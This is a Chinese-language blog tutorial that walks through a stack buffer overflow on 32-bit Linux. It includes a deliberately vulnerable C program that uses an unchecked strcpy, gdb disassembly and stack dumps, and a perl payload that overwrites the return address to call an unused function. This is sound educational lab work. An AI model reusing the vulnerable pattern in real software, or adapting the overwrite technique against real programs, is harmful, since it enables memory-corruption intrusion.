linux下缓冲区溢出实例

最近一段时间，在网上搜索关于缓冲区溢出攻击的文章，实验了一下，成功实现了缓冲区溢出攻击，现在把过程记录下来。

 

#include <stdio.h>
#include <string.h>
void hello()
{
        printf("hello\n");
}

int fun(char *str)
{
        char buf[10];
        strcpy(buf, str);
        printf("%s\n", buf);
        return 0;
}

int main(int argc, char **argv)
{
        int i=0;
        char *str;
        str=argv[1];
        fun(str);
        return 0;
}

 

上面的代码，并没有调用函数hello，现在通过缓冲区溢出来调用hello函数。

 

代码保存为test.c，放在/root目录下。

 

编译test.c

gcc -g -o test test.c

 

gdb test

反汇编hello、fun、main这三个函数

 

[root@localhost ~]# gdb test
GNU gdb Fedora (6.8-1.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) disass hello
Dump of assembler code for function hello:
0x080483f4 <hello+0>:   push   %ebp
0x080483f5 <hello+1>:   mov    %esp,%ebp
0x080483f7 <hello+3>:   sub    $0x8,%esp
0x080483fa <hello+6>:   movl   $0x8048534,(%esp)
0x08048401 <hello+13>:  call   0x8048324 <puts@plt>
0x08048406 <hello+18>:  leave  
0x08048407 <hello+19>:  ret    
End of assembler dump.
(gdb) disass fun
Dump of assembler code for function fun:
0x08048408 <fun+0>:     push   %ebp
0x08048409 <fun+1>:     mov    %esp,%ebp
0x0804840b <fun+3>:     sub    $0x18,%esp
0x0804840e <fun+6>:     mov    0x8(%ebp),%eax
0x08048411 <fun+9>:     mov    %eax,0x4(%esp)
0x08048415 <fun+13>:    lea    -0xa(%ebp),%eax
0x08048418 <fun+16>:    mov    %eax,(%esp)
0x0804841b <fun+19>:    call   0x8048314 <strcpy@plt>
0x08048420 <fun+24>:    lea    -0xa(%ebp),%eax
0x08048423 <fun+27>:    mov    %eax,(%esp)
0x08048426 <fun+30>:    call   0x8048324 <puts@plt>
0x0804842b <fun+35>:    mov    $0x0,%eax
0x08048430 <fun+40>:    leave  
0x08048431 <fun+41>:    ret    
End of assembler dump.
(gdb) disass main
Dump of assembler code for function main:
0x08048432 <main+0>:    lea    0x4(%esp),%ecx
0x08048436 <main+4>:    and    $0xfffffff0,%esp
0x08048439 <main+7>:    pushl  -0x4(%ecx)
0x0804843c <main+10>:   push   %ebp
0x0804843d <main+11>:   mov    %esp,%ebp
0x0804843f <main+13>:   push   %ecx
0x08048440 <main+14>:   sub    $0x14,%esp
0x08048443 <main+17>:   movl   $0x0,-0xc(%ebp)
0x0804844a <main+24>:   mov    0x4(%ecx),%eax
0x0804844d <main+27>:   add    $0x4,%eax
0x08048450 <main+30>:   mov    (%eax),%eax
0x08048452 <main+32>:   mov    %eax,-0x8(%ebp)
0x08048455 <main+35>:   mov    -0x8(%ebp),%eax
0x08048458 <main+38>:   mov    %eax,(%esp)
0x0804845b <main+41>:   call   0x8048408 <fun>
0x08048460 <main+46>:   mov    $0x0,%eax
0x08048465 <main+51>:   add    $0x14,%esp
0x08048468 <main+54>:   pop    %ecx
0x08048469 <main+55>:   pop    %ebp
0x0804846a <main+56>:   lea    -0x4(%ecx),%esp
0x0804846d <main+59>:   ret    
End of assembler dump.
(gdb) 

获得了hello函数的首地址是0x080483f4，还有main函数中调用fun函数时call的地址是0x0804845b，call的下面一条指令的地址是0x08048460，这些指令的地址都是放在寄存器EIP里的，等会缓冲区溢出的时候，我会用到0x08048460。

列出源代码：

(gdb) l
9       {
10              char buf[10];
11              strcpy(buf, str);
12              printf("%s\n", buf);
13              return 0;
14      }
15
16      int main(int argc, char **argv)
17      {
18              int i=0;
(gdb) 
19              char *str;
20              str=argv[1];
21              fun(str);
22              return 0;
23      }
(gdb) 

在12、21行设置断点。

 

(gdb) b 12
Breakpoint 1 at 0x8048420: file test.c, line 12.
(gdb) b 21
Breakpoint 2 at 0x8048455: file test.c, line 21.
(gdb) 

现在输入AAAA来运行，并查看寄存器EBP、ESP。

 

(gdb) r AAAA
Starting program: /root/test AAAA

Breakpoint 2, main (argc=2, argv=0xbf999114) at test.c:21
21              fun(str);
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) x/x $ebp
0xbf999078:     0xbf9990e8
(gdb) x/8x $esp
0xbf999060:     0x08048034      0x08049690      0xbf999088      0x00000000
0xbf999070:     0xbf9998c0      0xbf999090      0xbf9990e8      0x058f95d6
(gdb) 

查看str的地址

 

(gdb) p str
$1 = 0xbf9998c0 "AAAA"
(gdb) 

单步运行，并查看寄存器

 

(gdb) si
0x08048458      21              fun(str);
(gdb) x/8x $esp
0xbf999060:     0x08048034      0x08049690      0xbf999088      0x00000000
0xbf999070:     0xbf9998c0      0xbf999090      0xbf9990e8      0x058f95d6
(gdb) si
0x0804845b      21              fun(str);
(gdb) x/8x $esp
0xbf999060:     0xbf9998c0      0x08049690      0xbf999088      0x00000000
0xbf999070:     0xbf9998c0      0xbf999090      0xbf9990e8      0x058f95d6
(gdb) 

看到此时参数str已经压入栈中

再次单步运行

 

(gdb) si
fun (str=0xbf9998c0 "AAAA") at test.c:9
9       {
(gdb) x/8x $esp
0xbf99905c:     0x08048460      0xbf9998c0      0x08049690      0xbf999088
0xbf99906c:     0x00000000      0xbf9998c0      0xbf999090      0xbf9990e8
(gdb) 

发现main函数中的call的下面一条指令的地址0x08048460也已经压入栈中。

再次单步运行，并查看寄存器内容：

(gdb) n
11              strcpy(buf, str);
(gdb) n

Breakpoint 1, fun (str=0xbf9998c0 "AAAA") at test.c:12
12              printf("%s\n", buf);
(gdb) x/8x $esp
0xbf999040:     0xbf99904e      0xbf9998c0      0x00000000      0x41410000
0xbf999050:     0x00004141      0x08049690      0xbf999078      0x08048460
(gdb) 

已经能看到4个41了，A的ASCII码值就是41。

现在在命令行参数，多加几个A，加到14个A，看看运行到12行时，ESP中的内容。

(gdb) r `perl -e 'print "A"x14'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/test `perl -e 'print "A"x14'`

Breakpoint 2, main (argc=2, argv=0xbffa6f24) at test.c:21
21              fun(str);
(gdb) n

Breakpoint 1, fun (str=0xbffa78b6 'A' <repeats 14 times>) at test.c:12
12              printf("%s\n", buf);
(gdb) x/8x $esp
0xbffa6e50:     0xbffa6e5e      0xbffa78b6      0x00000000      0x41410000
0xbffa6e60:     0x41414141      0x41414141      0x41414141      0x08048400
(gdb) 

此时发现ESP中已经有14个A了，而buf的容量是10个字节。一个A是一个字节。而0x08048460变成了0x08048400，因为0是字符串的结尾。于是，我们只要再多加4个字节，就能覆盖0x08048460了。

(gdb) r `perl -e 'print "A"x18'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/test `perl -e 'print "A"x18'`

Breakpoint 2, main (argc=2, argv=0xbfee6d34) at test.c:21
21              fun(str);
(gdb) n

Breakpoint 1, fun (str=0xbfee7800 "") at test.c:12
12              printf("%s\n", buf);
(gdb) x/8x $esp
0xbfee6c60:     0xbfee6c6e      0xbfee78b2      0x00000000      0x41410000
0xbfee6c70:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 

现在，0x08048400已经被完全覆盖了，都变成了41。

为了让程序进入hello函数，需要把0x08048460改为hello的首地址。

(gdb) r `perl -e 'print "A"x14;print "\xf4\x83\x04\x08"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/test `perl -e 'print "A"x14;print "\xf4\x83\x04\x08"'`

Breakpoint 2, main (argc=2, argv=0xbfd70414) at test.c:21
21              fun(str);
(gdb) n

Breakpoint 1, fun (str=0xbfd71800 "") at test.c:12
12              printf("%s\n", buf);
(gdb) n
AAAAAAAAAAAAAA魞
13              return 0;
(gdb) n
14      }
(gdb) n
hello () at test.c:4
4       {
(gdb) 

现在用14个A和hello的首地址，就覆盖了0x08048460。

现在，退出gdb，直接运行，看看效果。

(gdb) q
The program is running.  Exit anyway? (y or n) y
[root@localhost ~]# 
[root@localhost ~]# ./test `perl -e 'print "A"x14;print "\xf4\x83\x04\x08"'`
AAAAAAAAAAAAAA魞
hello
娈甸敊璇
[root@localhost ~]# 
[root@localhost ~]# 

看，输出hello了，成功溢出。

 

总结，函数调用时，汇编语言里，会有call的指令，call的下面一条指令的地址，会保存到EIP和压入ESP中。我们只需要覆盖那个地址，就能进行缓冲区溢出了。

看了很多文章才看懂的，大学里学的8086汇编语言，总算还记得那么一点，看来以后要多复习了。下一步，就是学会编写shellcode。